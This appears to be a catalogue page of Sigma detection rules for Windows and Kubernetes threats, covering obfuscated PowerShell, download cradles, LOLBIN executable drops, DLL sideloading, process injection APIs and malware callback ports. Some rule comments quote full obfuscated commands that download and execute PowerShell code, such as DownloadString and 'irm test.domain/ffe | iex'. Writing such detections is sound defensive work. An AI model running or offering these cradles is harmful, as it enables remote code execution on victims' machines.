author: Timur Zinniatullin, oscd.community
date: 2020-10-13
modified: 2022-11-16
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        # CommandLine|re: '(?i)&&set.*(\{\d\}){2,}\\\"\s+?\-f.*&&.*cmd.*\/c' # FPs with |\/r
        # Example 1: CMD /C"sET KUR=Invoke-Expression (New-Object Net.WebClient).DownloadString&&Set MxI=C:\wINDowS\sYsWow64\winDOWspoWERSheLl\V1.0\PowerShelL.EXe ${ExEcut`IoN`cON`TExT}.\"invo`kEcoMm`A`ND\".( \"{2}{1}{0}\" -f 'pt','EscRi','INvOk' ).Invoke( ( .( \"{0}{1}\" -f'D','IR' ) ( \"{0}{1}\"-f'ENV:kU','R')).\"vAl`Ue\" )&& CMD /C%mXI%"
        # Example 2: c:\WiNDOWS\sYSTEm32\CmD.exE /C "sEt DeJLz=Invoke-Expression (New-Object Net.WebClient).DownloadString&&set yBKM=PoWERShelL -noeX ^^^&(\"{2}{0}{1}\"-f '-ItE','m','seT') ( 'V' + 'a'+ 'RiAblE:z8J' +'U2' + 'l' ) ([TYpE]( \"{2}{3}{0}{1}\"-f 'e','NT','e','NViRONM' ) ) ; ^^^& ( ( [sTrIng]${VE`Rbo`SepReFER`Ence})[1,3] + 'X'-joIN'')( ( (.('gI') ('V' + 'a' + 'RIAbLe:z8j' + 'u2' +'l' ) ).vALUe::( \"{2}{5}{0}{1}{6}{4}{3}\" -f 'IRo','Nm','GETE','ABlE','I','nv','enTVAr').Invoke(( \"{0}{1}\"-f'd','ejLz' ),( \"{1}{2}{0}\"-f'cEss','P','RO') )) )&& c:\WiNDOWS\sYSTEm32\CmD.exE /C %ybkm%"
        CommandLine|contains|all:
            - '&&set'
            - 'cmd'
            - '/c'
            - '-f'
        CommandLine|contains:
            - '{0}'
            - '{1}'
            - '{2}'
            - '{3}'
            - '{4}'
            - '{5}'
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    CommandLine|contains|all:
        - '&&set'
        - 'cmd'
        - '/c'
        - '-f'
    CommandLine|contains:
        - '{0}'
        - '{1}'
        - '{2}'
        - '{3}'
        - '{4}'
        - '{5}'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • &&set
  • -f corpus 9 (sigma 7, splunk 2)
  • /c corpus 16 (sigma 14, splunk 2)
  • cmd corpus 8 (sigma 8)
  • {0}
  • {1}
  • {2}
  • {3}
  • {4}
  • {5}
field:"CommandLine" kind:match

Legitimate Application Dropped Executable

#
Status
test
Severity
high
Author
frack113, Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects LOLBINs and applications that should not legitimately drop executable or executable-equivalent files to disk. This may indicate malware staging, process injection, or abuse of a trusted binary for payload delivery.

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 11: FileCreate

Rule Body

title: Legitimate Application Dropped Executable
id: f0540f7e-2db3-4432-b9e0-3965486744bc
status: test
description: |
    Detects LOLBINs and applications that should not legitimately drop executable or executable-equivalent files to disk.
    This may indicate malware staging, process injection, or abuse of a trusted binary for payload delivery.
references:
    - https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326
    - https://dmpdump.github.io/posts/TelegramRat/
    - https://www.virustotal.com/gui/file/a0d5b30578acd1df9139e7a8a4bfc659dc2cf48f4dc0c5804b70890adeb9fa21/behavior
author: frack113, Florian Roth (Nextron Systems)
date: 2022-08-21
modified: 2026-05-11
tags:
    - attack.stealth
    - attack.t1218
logsource:
    product: windows
    category: file_event
detection:
    selection:
        Image|endswith:
            # Microsoft Office Programs Dropping Executables / Rest of the apps are covered in: c7a74c80-ba5a-486e-9974-ab9e682bc5e4
            - '\eqnedt32.exe'
            - '\wordpad.exe'
            - '\wordview.exe'
            # LOLBINs that can be used to download executables
            - '\certutil.exe'
            - '\certoc.exe'
            - '\CertReq.exe'
            # - \bitsadmin.exe (depends on the environment; comment in if you're sure that bitsadmin doesn't do that in your env)
            - '\Desktopimgdownldr.exe'
            - '\esentutl.exe'
            # - \expand.exe
            - '\mshta.exe'
            # Executables that should never drop an executable to disk (but may after a previous process injection or if it's malware that uses a legitimate name)
            - '\AcroRd32.exe'
            - '\RdrCEF.exe'
            - '\hh.exe'
            - '\finger.exe'
        TargetFilename|endswith:
            - '.com'
            - '.dll'
            - '.exe'
            - '.jar'
            - '.ocx'
            - '.pyc'
    condition: selection
falsepositives:
    - Unknown
level: high
regression_tests_path: regression_data/rules/windows/file/file_event/file_event_win_susp_legitimate_app_dropping_exe/info.yml

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    Image|endswith:
        - '\eqnedt32.exe'
        - '\wordpad.exe'
        - '\wordview.exe'
        - '\certutil.exe'
        - '\certoc.exe'
        - '\CertReq.exe'
        - '\Desktopimgdownldr.exe'
        - '\esentutl.exe'
        - '\mshta.exe'
        - '\AcroRd32.exe'
        - '\RdrCEF.exe'
        - '\hh.exe'
        - '\finger.exe'
    TargetFilename|endswith:
        - '.com'
        - '.dll'
        - '.exe'
        - '.jar'
        - '.ocx'
        - '.pyc'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Imageends_with
  • \AcroRd32.exe corpus 3 (sigma 3)
  • \CertReq.exe corpus 7 (sigma 7)
  • \Desktopimgdownldr.exe corpus 5 (sigma 5)
  • \RdrCEF.exe corpus 4 (sigma 4)
  • \certoc.exe corpus 10 (sigma 10)
  • \certutil.exe corpus 43 (sigma 43)
  • \eqnedt32.exe corpus 6 (sigma 6)
  • \esentutl.exe corpus 7 (sigma 7)
  • \finger.exe corpus 8 (sigma 8)
  • \hh.exe corpus 15 (sigma 15)
  • \mshta.exe corpus 67 (sigma 66, splunk 1)
  • \wordpad.exe corpus 6 (sigma 6)
  • \wordview.exe corpus 6 (sigma 6)
field:"Image" kind:ends_with
TargetFilenameends_with
  • .com corpus 4 (sigma 4)
  • .dll corpus 24 (sigma 24)
  • .exe corpus 21 (sigma 20, splunk 1)
  • .jar corpus 3 (sigma 3)
  • .ocx corpus 3 (sigma 3)
  • .pyc
field:"TargetFilename" kind:ends_with

Massive services deletion burst

#
Status
experimental
Severity
high
Time window
1m
Author
mdecrevoisier
Source
github.com/mdecrevoisier/SIGMA-detection-rules

Detects scenarios where an attacker attempts to delete multiples services on a host. Attacker may target services related to databases, security products or backups (Veeam, Symantec, Acronis ...).

Known False Positives

  • Product uninstallation

MITRE ATT&CK Coverage

TacticTechniques
Impact

Telemetry Coverage

Rule Body

title: Massive services deletion burst
description: Detects scenarios where an attacker attempts to delete multiples services on a host. Attacker may target services related to databases, security products or backups (Veeam, Symantec, Acronis ...).
references:
- https://unit42.paloaltonetworks.com/mallox-ransomware/
tags:
- attack.impact
- attack.t1489 # Service Stop 
- attack.defense_evasion
- attack.1562.001 # Impair Defenses: Disable or Modify Tools 
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    NewProcessName|endswith: '\sc.exe'
    CommandLine|contains: delete
  condition: selection | count(EventRecordID) by Computer > 2
  timeframe: 1m
falsepositives:
- Product uninstallation
level: high

Stages and Predicates

Stage 0: condition

selection | count(EventRecordID) by Computer > 2

Stage 1: selection

selection:
  NewProcessName|endswith: '\sc.exe'
  CommandLine|contains: delete
Threshold
> 2

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • delete corpus 30 (sigma 16, elastic 8, splunk 6)
field:"CommandLine" kind:match value:"delete"
NewProcessNameends_with
  • \sc.exe corpus 30 (sigma 30)
field:"Image" kind:ends_with value:"\sc.exe"

Network Connection Initiated By Regsvr32.EXE

#
Status
test
Severity
medium
Author
Dmitriy Lifanov, oscd.community
Source
github.com/SigmaHQ/sigma

Detects a network connection initiated by "Regsvr32.exe"

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 3: Network connection

Rule Body

title: Network Connection Initiated By Regsvr32.EXE
id: c7e91a02-d771-4a6d-a700-42587e0b1095
status: test
description: Detects a network connection initiated by "Regsvr32.exe"
references:
    - https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/
    - https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
author: Dmitriy Lifanov, oscd.community
date: 2019-10-25
modified: 2023-09-18
tags:
    - attack.execution
    - attack.stealth
    - attack.t1559.001
    - attack.t1218.010
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        Initiated: 'true'
        Image|endswith: '\regsvr32.exe'
    condition: selection
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    Initiated: 'true'
    Image|endswith: '\regsvr32.exe'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Imageends_with
  • \regsvr32.exe corpus 64 (sigma 64)
field:"Image" kind:ends_with value:"\regsvr32.exe"
Initiatedeq
  • true corpus 50 (sigma 50)
field:"Initiated" kind:eq value:"true"

Obfuscated PowerShell OneLiner Execution

#
Status
test
Severity
high
Author
@Kostastsale, TheDFIRReport
Source
github.com/SigmaHQ/sigma

Detects the execution of a specific OneLiner to download and execute powershell modules in memory.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Obfuscated PowerShell OneLiner Execution
id: 44e24481-6202-4c62-9127-5a0ae8e3fe3d
status: test
description: Detects the execution of a specific OneLiner to download and execute powershell modules in memory.
references:
    - https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
    - https://gist.github.com/mgeeky/3b11169ab77a7de354f4111aa2f0df38
author: '@Kostastsale, TheDFIRReport'
date: 2022-05-09
modified: 2025-04-16
tags:
    - attack.execution
    - attack.defense-impairment
    - attack.t1059.001
    - attack.t1685
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        # Example: powershell -nop -noni -ep bypass -w h -c "$u=("http://127.0.0.1:1337/"|%%{(IRM $_)});&("".SubString.ToString()[67,72,64]-Join"")($u); Import-Module C:\Users\EXAMPLE\Invoke-WMIExec.ps1; Invoke-WMIExec"
        Image|endswith: '\powershell.exe'
        CommandLine|contains|all:
            - 'http://127.0.0.1'
            - '%{(IRM $_)}'
            - 'Invoke'
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    Image|endswith: '\powershell.exe'
    CommandLine|contains|all:
        - 'http://127.0.0.1'
        - '%{(IRM $_)}'
        - 'Invoke'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • %{(IRM $_)}
  • Invoke
  • http://127.0.0.1
field:"CommandLine" kind:match
Imageends_with
  • \powershell.exe corpus 181 (sigma 180, splunk 1)
field:"Image" kind:ends_with value:"\powershell.exe"

OilRig APT Registry Persistence

#
Status
test
Severity
critical
Author
Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community
Source
github.com/SigmaHQ/sigma

Detects OilRig registry persistence as reported by Nyotron in their March 2018 report

Known False Positives

  • Unlikely

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: OilRig APT Registry Persistence
id: 7bdf2a7c-3acc-4091-9581-0a77dad1c5b5
related:
    - id: 53ba33fd-3a50-4468-a5ef-c583635cfa92 # System
      type: similar
    - id: c0580559-a6bd-4ef6-b9b7-83703d98b561 # Security
      type: similar
    - id: ce6e34ca-966d-41c9-8d93-5b06c8b97a06 # ProcessCreation
      type: similar
status: test
description: Detects OilRig registry persistence as reported by Nyotron in their March 2018 report
references:
    - https://web.archive.org/web/20180402134442/https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018C.pdf
author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community
date: 2018-03-23
modified: 2023-03-08
tags:
    - attack.privilege-escalation
    - attack.execution
    - attack.persistence
    - attack.defense-impairment
    - attack.g0049
    - attack.t1053.005
    - attack.s0111
    - attack.t1543.003
    - attack.t1112
    - attack.command-and-control
    - attack.t1071.004
    - detection.emerging-threats
logsource:
    category: registry_event
    product: windows
detection:
    selection:
        TargetObject|endswith:
            - 'SOFTWARE\Microsoft\Windows\CurrentVersion\UMe'
            - 'SOFTWARE\Microsoft\Windows\CurrentVersion\UT'
    condition: selection
falsepositives:
    - Unlikely
level: critical

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    TargetObject|endswith:
        - 'SOFTWARE\Microsoft\Windows\CurrentVersion\UMe'
        - 'SOFTWARE\Microsoft\Windows\CurrentVersion\UT'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
TargetObjectends_with
  • SOFTWARE\Microsoft\Windows\CurrentVersion\UMe
  • SOFTWARE\Microsoft\Windows\CurrentVersion\UT
field:"TargetObject" kind:ends_with

Password Change on Directory Service Restore Mode (DSRM) Account

#
Status
stable
Severity
high
Author
Thomas Patzke
Source
github.com/SigmaHQ/sigma

Detects potential attempts made to set the Directory Services Restore Mode administrator password. The Directory Service Restore Mode (DSRM) account is a local administrator account on Domain Controllers. Attackers may change the password in order to obtain persistence.

Known False Positives

  • Initial installation of a domain controller.

MITRE ATT&CK Coverage

TacticTechniques
Persistence
Privilege Escalation

Telemetry Coverage

Rule Body

title: Password Change on Directory Service Restore Mode (DSRM) Account
id: 53ad8e36-f573-46bf-97e4-15ba5bf4bb51
related:
    - id: b61e87c0-50db-4b2e-8986-6a2be94b33b0
      type: similar
status: stable
description: |
    Detects potential attempts made to set the Directory Services Restore Mode administrator password.
    The Directory Service Restore Mode (DSRM) account is a local administrator account on Domain Controllers.
    Attackers may change the password in order to obtain persistence.
references:
    - https://adsecurity.org/?p=1714
    - https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4794
author: Thomas Patzke
date: 2017-02-19
modified: 2020-08-23
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1098
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4794
    condition: selection
falsepositives:
    - Initial installation of a domain controller.
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    EventID: 4794

Potential Remote Command Execution In Pod Container

#
Status
test
Severity
medium
Author
Leo Tsaousis (@laripping)
Source
github.com/SigmaHQ/sigma

Detects attempts to execute remote commands, within a Pod's container using e.g. the "kubectl exec" command.

Known False Positives

  • Legitimate debugging activity. Investigate the identity performing the requests and their authorization.

MITRE ATT&CK Coverage

Telemetry Coverage

Rules Detecting the Same Action

These rules filter on the same operation.

Rule Body

title: Potential Remote Command Execution In Pod Container
id: a1b0ca4e-7835-413e-8471-3ff2b8a66be6
status: test
description: |
    Detects attempts to execute remote commands, within a Pod's container using e.g. the "kubectl exec" command.
references:
    - https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Exec%20into%20container/
author: Leo Tsaousis (@laripping)
date: 2024-03-26
tags:
    - attack.t1609
    - attack.execution
logsource:
    category: application
    product: kubernetes
    service: audit
detection:
    selection:
        verb: 'create'
        objectRef.resource: 'pods'
        objectRef.subresource: 'exec'
    condition: selection
falsepositives:
    - Legitimate debugging activity. Investigate the identity performing the requests and their authorization.
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    verb: 'create'
    objectRef.resource: 'pods'
    objectRef.subresource: 'exec'

Indicators

These rows show field, operator, and value matches.

Potential RjvPlatform.DLL Sideloading From Default Location

#
Status
test
Severity
medium
Author
X__Junior (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects loading of "RjvPlatform.dll" by the "SystemResetPlatform.exe" binary which can be abused as a method of DLL side loading since the "$SysReset" directory isn't created by default.

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 7: Image loaded

Rule Body

title: Potential RjvPlatform.DLL Sideloading From Default Location
id: 259dda31-b7a3-444f-b7d8-17f96e8a7d0d
status: test
description: Detects loading of "RjvPlatform.dll" by the "SystemResetPlatform.exe" binary which can be abused as a method of DLL side loading since the "$SysReset" directory isn't created by default.
references:
    - https://twitter.com/0gtweet/status/1666716511988330499
author: X__Junior (Nextron Systems)
date: 2023-06-09
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.execution
    - attack.stealth
    - attack.t1574.001
logsource:
    category: image_load
    product: windows
detection:
    selection:
        Image: 'C:\Windows\System32\SystemResetPlatform\SystemResetPlatform.exe'
        ImageLoaded: 'C:\$SysReset\Framework\Stack\RjvPlatform.dll'
    condition: selection
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    Image: 'C:\Windows\System32\SystemResetPlatform\SystemResetPlatform.exe'
    ImageLoaded: 'C:\$SysReset\Framework\Stack\RjvPlatform.dll'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Imageeq
  • C:\Windows\System32\SystemResetPlatform\SystemResetPlatform.exe
field:"Image" kind:eq value:"C:\Windows\System32\SystemResetPlatform\SystemResetPlatform.exe"
ImageLoadedeq
  • C:\$SysReset\Framework\Stack\RjvPlatform.dll
field:"ImageLoaded" kind:eq value:"C:\$SysReset\Framework\Stack\RjvPlatform.dll"

Potential WinAPI Calls Via PowerShell Scripts

#
Status
test
Severity
high
Author
Nasreddine Bencherchali (Nextron Systems), Nikita Nazarov, oscd.community
Source
github.com/SigmaHQ/sigma

Detects usage of WinAPI functions in PowerShell scripts. It may indicate attempts to perform actions such as process injection, token stealing, or other malicious activities that leverage Windows API calls. These techniques are commonly used to evade traditional file-based detections by loading and executing code directly in memory.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Potential WinAPI Calls Via PowerShell Scripts
id: 03d83090-8cba-44a0-b02f-0b756a050306
related:
    - id: ba3f5c1b-6272-4119-9dbd-0bc8d21c2702
      type: similar
status: test
description: |
    Detects usage of WinAPI functions in PowerShell scripts.
    It may indicate attempts to perform actions such as process injection, token stealing, or other malicious activities that leverage Windows API calls.
    These techniques are commonly used to evade traditional file-based detections by loading and executing code directly in memory.
references:
    - https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse
    - https://github.com/PowerShellMafia/PowerSploit/blob/1980f403ee78234eae4d93b50890d02f827a099f/CodeExecution/Invoke-Shellcode.ps1
    - https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/
author: Nasreddine Bencherchali (Nextron Systems), Nikita Nazarov, oscd.community
date: 2020-10-06
modified: 2026-04-29
tags:
    - attack.execution
    - attack.t1059.001
    - attack.t1106
    - attack.stealth
    - attack.t1620
logsource:
    product: windows
    category: ps_script
    definition: 'Requirements: Script Block Logging must be enabled'
detection:
    # Note: Add more suspicious combinations in the form of different selections
    selection_injection:
        ScriptBlockText|contains|all:
            - 'VirtualAlloc'
            - 'OpenProcess'
            - 'WriteProcessMemory'
            - 'CreateRemoteThread'
    selection_token_steal:
        ScriptBlockText|contains|all:
            - 'OpenProcessToken'
            - 'LookupPrivilegeValue'
            - 'AdjustTokenPrivileges'
    selection_duplicate_token:
        ScriptBlockText|contains|all:
            - 'OpenProcessToken'
            - 'DuplicateTokenEx'
            - 'CloseHandle'
    selection_process_write_read:
        ScriptBlockText|contains|all:
            - 'WriteProcessMemory'
            - 'VirtualAlloc'
            - 'ReadProcessMemory'
            - 'VirtualFree'
    selection_local_shellcode_injection:
        ScriptBlockText|contains|all:
            - 'VirtualAlloc'
            - 'GetDelegateForFunctionPointer'
            - 'Marshal.Copy'
    condition: 1 of selection_*
falsepositives:
    - Unknown
level: high
regression_tests_path: regression_data/rules/windows/powershell/powershell_script/posh_ps_win_api_susp_access/info.yml

Stages and Predicates

Stage 0: condition

1 of selection_*

Stage 1: selection_injection

selection_injection:
    ScriptBlockText|contains|all:
        - 'VirtualAlloc'
        - 'OpenProcess'
        - 'WriteProcessMemory'
        - 'CreateRemoteThread'

Stage 2: selection_token_steal

selection_token_steal:
    ScriptBlockText|contains|all:
        - 'OpenProcessToken'
        - 'LookupPrivilegeValue'
        - 'AdjustTokenPrivileges'

Stage 3: selection_duplicate_token

selection_duplicate_token:
    ScriptBlockText|contains|all:
        - 'OpenProcessToken'
        - 'DuplicateTokenEx'
        - 'CloseHandle'

Stage 4: selection_process_write_read

selection_process_write_read:
    ScriptBlockText|contains|all:
        - 'WriteProcessMemory'
        - 'VirtualAlloc'
        - 'ReadProcessMemory'
        - 'VirtualFree'

Stage 5: selection_local_shellcode_injection

selection_local_shellcode_injection:
    ScriptBlockText|contains|all:
        - 'VirtualAlloc'
        - 'GetDelegateForFunctionPointer'
        - 'Marshal.Copy'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
ScriptBlockTextmatch
  • AdjustTokenPrivileges corpus 3 (sigma 3)
  • CloseHandle corpus 2 (sigma 2)
  • CreateRemoteThread corpus 2 (sigma 2)
  • DuplicateTokenEx corpus 2 (sigma 2)
  • GetDelegateForFunctionPointer corpus 3 (sigma 3)
  • LookupPrivilegeValue
  • Marshal.Copy
  • OpenProcess corpus 2 (sigma 2)
  • OpenProcessToken corpus 2 (sigma 2)
  • ReadProcessMemory corpus 2 (sigma 2)
  • VirtualAlloc corpus 2 (sigma 2)
  • VirtualFree corpus 2 (sigma 2)
  • WriteProcessMemory corpus 2 (sigma 2)
field:"ScriptBlockText" kind:match

Potentially Suspicious Malware Callback Communication

#
Status
test
Severity
high
Author
Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects programs that connect to known malware callback ports based on statistical analysis from two different sandbox system databases

MITRE ATT&CK Coverage

TacticTechniques
Command & Control

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 3: Network connection

Rule Body

title: Potentially Suspicious Malware Callback Communication
id: 4b89abaa-99fe-4232-afdd-8f9aa4d20382
related:
    - id: 6d8c3d20-a5e1-494f-8412-4571d716cf5c
      type: similar
status: test
description: |
    Detects programs that connect to known malware callback ports based on statistical analysis from two different sandbox system databases
references:
    - https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo
author: Florian Roth (Nextron Systems)
date: 2017-03-19
modified: 2024-03-12
tags:
    - attack.persistence
    - attack.command-and-control
    - attack.t1571
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        Initiated: 'true'
        DestinationPort:
            - 100
            - 198
            - 200
            - 243
            - 473
            - 666
            - 700
            - 743
            - 777
            - 1443
            - 1515
            - 1777
            - 1817
            - 1904
            - 1960
            - 2443
            - 2448
            - 3360
            - 3675
            - 3939
            - 4040
            - 4433
            - 4438
            - 4443
            - 4444
            - 4455
            - 5445
            - 5552
            - 5649
            - 6625
            - 7210
            - 7777
            - 8143
            - 8843
            - 9631
            - 9943
            - 10101
            - 12102
            - 12103
            - 12322
            - 13145
            - 13394
            - 13504
            - 13505
            - 13506
            - 13507
            - 14102
            - 14103
            - 14154
            - 49180
            - 65520
            - 65535
    filter_main_local_ranges:
        DestinationIp|cidr:
            - '127.0.0.0/8'
            - '10.0.0.0/8'
            - '172.16.0.0/12'
            - '192.168.0.0/16'
            - '169.254.0.0/16'
            - '::1/128'  # IPv6 loopback
            - 'fe80::/10'  # IPv6 link-local addresses
            - 'fc00::/7'  # IPv6 private addresses
    filter_optional_sys_directories:
        Image|startswith:
            - 'C:\Program Files\'
            - 'C:\Program Files (x86)\'
    condition: selection and not 1 of filter_main_* and not 1 of filter_optional_*
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection and not 1 of filter_main_* and not 1 of filter_optional_*

Stage 1: selection

selection:
    Initiated: 'true'
    DestinationPort:
        - 100
        - 198
        - 200
        - 243
        - 473
        - 666
        - 700
        - 743
        - 777
        - 1443
        - 1515
        - 1777
        - 1817
        - 1904
        - 1960
        - 2443
        - 2448
        - 3360
        - 3675
        - 3939
        - 4040
        - 4433
        - 4438
        - 4443
        - 4444
        - 4455
        - 5445
        - 5552
        - 5649
        - 6625
        - 7210
        - 7777
        - 8143
        - 8843
        - 9631
        - 9943
        - 10101
        - 12102
        - 12103
        - 12322
        - 13145
        - 13394
        - 13504
        - 13505
        - 13506
        - 13507
        - 14102
        - 14103
        - 14154
        - 49180
        - 65520
        - 65535

Stage 2: not filter_main_local_ranges

filter_main_local_ranges:
    DestinationIp|cidr:
        - '127.0.0.0/8'
        - '10.0.0.0/8'
        - '172.16.0.0/12'
        - '192.168.0.0/16'
        - '169.254.0.0/16'
        - '::1/128'
        - 'fe80::/10'
        - 'fc00::/7'

Stage 3: not filter_optional_sys_directories

filter_optional_sys_directories:
    Image|startswith:
        - 'C:\Program Files\'
        - 'C:\Program Files (x86)\'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
DestinationPorteq
  • 100
  • 10101
  • 12102
  • 12103
  • 12322
  • 13145
  • 13394
  • 13504
  • 13505
  • 13506
  • 13507
  • 14102
  • 14103
  • 14154
  • 1443
  • 1515
  • 1777
  • 1817
  • 1904
  • 1960
  • 198
  • 200
  • 243
  • 2443
  • 2448
  • 3360
  • 3675
  • 3939
  • 4040
  • 4433
  • 4438
  • 4443
  • 4444 corpus 2 (sigma 2)
  • 4455
  • 473
  • 49180
  • 5445
  • 5552
  • 5649
  • 65520
  • 65535
  • 6625
  • 666
  • 700
  • 7210
  • 743
  • 777
  • 7777
  • 8143
  • 8843
  • 9631
  • 9943
field:"DestinationPort" kind:eq
Initiatedeq
  • true corpus 50 (sigma 50)
field:"Initiated" kind:eq value:"true"

Exclusions

The rule actively suppresses these predicates.

PowerShell Download and Execution Cradles

#
Status
test
Severity
high
Author
Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects PowerShell download and execution cradles.

Known False Positives

  • Some PowerShell installers were seen using similar combinations. Apply filters accordingly

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: PowerShell Download and Execution Cradles
id: 85b0b087-eddf-4a2b-b033-d771fa2b9775
status: test
description: Detects PowerShell download and execution cradles.
references:
    - https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd
    - https://labs.withsecure.com/publications/fin7-target-veeam-servers
author: Florian Roth (Nextron Systems)
date: 2022-03-24
modified: 2025-07-18
tags:
    - attack.execution
    - attack.t1059
logsource:
    product: windows
    category: process_creation
detection:
    selection_download:
        CommandLine|contains:
            - '.DownloadString('
            - '.DownloadFile('
            - 'Invoke-WebRequest '
            - 'iwr '
            - 'Invoke-RestMethod '
            - 'irm '  # powershell -ep bypass -w h -c irm test.domain/ffe | iex
    selection_iex:
        CommandLine|contains:
            - ';iex $'
            - '| IEX'
            - '|IEX '
            - 'I`E`X'
            - 'I`EX'
            - 'IE`X'
            - 'iex '
            - 'IEX ('
            - 'IEX('
            - 'Invoke-Expression'
    condition: all of selection_*
falsepositives:
    - Some PowerShell installers were seen using similar combinations. Apply filters accordingly
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_powershell_download_iex/info.yml

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_download

selection_download:
    CommandLine|contains:
        - '.DownloadString('
        - '.DownloadFile('
        - 'Invoke-WebRequest '
        - 'iwr '
        - 'Invoke-RestMethod '
        - 'irm '

Stage 2: selection_iex

selection_iex:
    CommandLine|contains:
        - ';iex $'
        - '| IEX'
        - '|IEX '
        - 'I`E`X'
        - 'I`EX'
        - 'IE`X'
        - 'iex '
        - 'IEX ('
        - 'IEX('
        - 'Invoke-Expression'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • .DownloadFile( corpus 7 (sigma 7)
  • .DownloadString( corpus 7 (sigma 7)
  • ;iex $
  • IEX (
  • IEX( corpus 4 (sigma 3, elastic 1)
  • IE`X
  • I`EX
  • I`E`X
  • Invoke-Expression corpus 5 (sigma 4, elastic 1)
  • Invoke-RestMethod corpus 2 (sigma 2)
  • Invoke-WebRequest corpus 4 (sigma 4)
  • iex corpus 7 (sigma 6, elastic 1)
  • irm corpus 5 (sigma 5)
  • iwr corpus 11 (sigma 11)
  • | IEX
  • |IEX
field:"CommandLine" kind:match

Powershell XML Execute Command

#
Status
test
Severity
medium
Author
frack113
Source
github.com/SigmaHQ/sigma

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code

Known False Positives

  • Legitimate administrative script

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Powershell XML Execute Command
id: 6c6c6282-7671-4fe9-a0ce-a2dcebdc342b
status: test
description: |
    Adversaries may abuse PowerShell commands and scripts for execution.
    PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell)
    Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-8---powershell-xml-requests
author: frack113
date: 2022-01-19
modified: 2023-01-19
tags:
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    category: ps_script
    definition: 'Requirements: Script Block Logging must be enabled'
detection:
    selection_xml:
        ScriptBlockText|contains|all:
            - 'New-Object'
            - 'System.Xml.XmlDocument'
            - '.Load'
    selection_exec:
        ScriptBlockText|contains:
            - 'IEX '
            - 'Invoke-Expression '
            - 'Invoke-Command '
            - 'ICM -'
    condition: all of selection_*
falsepositives:
    - Legitimate administrative script
level: medium

